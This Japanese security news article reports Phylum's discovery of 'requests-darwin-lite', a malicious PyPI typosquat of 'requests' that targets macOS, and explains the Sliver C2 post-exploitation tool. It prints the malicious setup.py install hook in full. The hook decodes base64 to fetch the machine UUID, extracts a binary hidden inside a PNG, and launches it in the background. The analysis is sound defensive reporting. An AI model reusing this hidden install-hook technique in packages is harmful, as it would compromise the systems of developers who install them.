
2024年5月10日 セキュアな開発環境を支援するツールを提供しているPhylumが、PytonのPyPi(Python Package Index)の人気ライブラリ「requests」に似せた、「requests-darwin-lite」という無害を装ったパッケージをダウンロードするとバックドアが仕込まれる事を公表しました。
目次
サイバー攻撃者の手口
Phylum が確認した最新の攻撃では、「requests-darwin-lite」という名前の macOS 用の悪意のある Python パッケージから始まります。
このパッケージは、人気のある「requests」ライブラリの無害なフォークとして提示されています。
PyPI でホストされているこのパッケージには、Requests ロゴが入った 17MB の PNG 画像ファイル内に Sliver C2のバイナリが含まれています。
MacOS システムへのインストール中に、PyInstall クラスが実行され、base64 でエンコードされた文字列がデコードされ、システムの UUID (Universal Unique Identifier) を取得するコマンド (ioreg) が実行されます。
以下からPhylumのコード用いて解説します。
正規のライブラリrequests
のsetup.py
抜粋
以下はrequests
の正規のパッケージファイルからの抜粋setup.py
# --- CLIPPED ---
class PyTest(TestCommand):
user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]
def initialize_options(self):
TestCommand.initialize_options(self)
try:
from multiprocessing import cpu_count
self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
except (ImportError, NotImplementedError):
self.pytest_args = ["-n", "1", "--boxed"]
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
import pytest
errno = pytest.main(self.pytest_args)
sys.exit(errno)
setup(
# --- CLIPPED ---
cmdclass={"test": PyTest},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "<https://requests.readthedocs.io>",
"Source": "<https://github.com/psf/requests>",
},
)
悪意のライブラリrequests-darwin-lite
のsetup.py
抜粋
# --- CLIPPED ---
class PyInstall(install):
def run(self):
if sys.platform != "darwin":
return
c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
uuid = raw[raw.find(k)+19:raw.find(k)+55]
if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with open(dest, "rb") as fd:
content = fd.read()
offset = 306086
os.makedirs(dest_dir, exist_ok=True)
with open(dest_dir + "output", "wb") as fd:
fd.write(content[offset:])
os.chmod(dest_dir + "output", 0o755)
subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(self)
setup(
# --- CLIPPED ---
cmdclass={
"install" : PyInstall,
"test": PyTest,
},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "<https://requests.readthedocs.io>",
"Source": "<https://github.com/psf/requests>",
},
)
この悪意のあるフォークでは、攻撃者は、パッケージのインストール中に実行されたcmdclass
という名前の辞書オブジェクトに別の項目を挿入しました。
PyInstall
見てみると、 macOS システムをPyInstall
ターゲットにしていることがわかります。
darwin
このパッケージが macOS システムにインストールされている場合、base64 でエンコードされた文字列をデコードし、コマンドとして実行します。
この Base64 デコードはioreg -d2 -c IOPlatformExpertDevice
、システムの UUID を収集するために使用されます。次に、特定の UUID に対するチェックを実行します。このチェックが失敗した場合、何も起こりません。言い換えれば、彼らはすでに UUID を知っている非常に特殊なマシンを探しているのです。
UID は、事前定義された UUID と比較して、パッケージが実際の標的へインストールされていることを検証するために使用されます。
一致する場合、PNG ファイル内の Go バイナリが読み取られ、ファイルのオフセットの特定の部分から抽出されます。
Sliver C2のバイナリは、実行可能にするために変更されたファイル権限でローカル ファイルに書き込まれ、最終的にはバックグラウンドで起動されます。
なお、Phylum が PyPI チームに request-darwin-lite を報告した後、このパッケージは削除されました。
悪意のあるバージョンは 2.27.1 と 2.27.2 でしたが、後続の 2.28.0 と 2.28.1 には悪意のある変更とインストール フックがありませんでした
ポストエクスプロイトツール Sliver C2とは
ポストエクスプロイトツールの1つで、サイバー攻撃者が標的のネットワークや端末に侵入した後の活動を支援するオープンソースのツールで、具体的には対象のネットワーク端末や通信の構成やC2Cサーバとの通信確保し通信端末の踏み台化を行います。
ポストエクスプロイトツールは、ホワイトハッカーがペネトレーションテストを実施する際に利用するツールで必ずしも、悪意のある活動だけで利用されるものではありませんが、
ハッカーはこういったポストエクスプロイトツールを悪用し、対象へサイバー攻撃を実施します。
実際、Sliver C2はクロスプラットフォーム (Windows、macOS、Linux) 対応で、オープンソースであることから2024 年 2 月のCISA と FBI によるサイバーセキュリティ 勧告 では、ネットワークに侵入するハッカーが使用する一般的なツールの 1 つとして、Sliver C2の地位が高まっている事が強調されています。
引用
PyPi package backdoors Macs using the Sliver pen-testing suite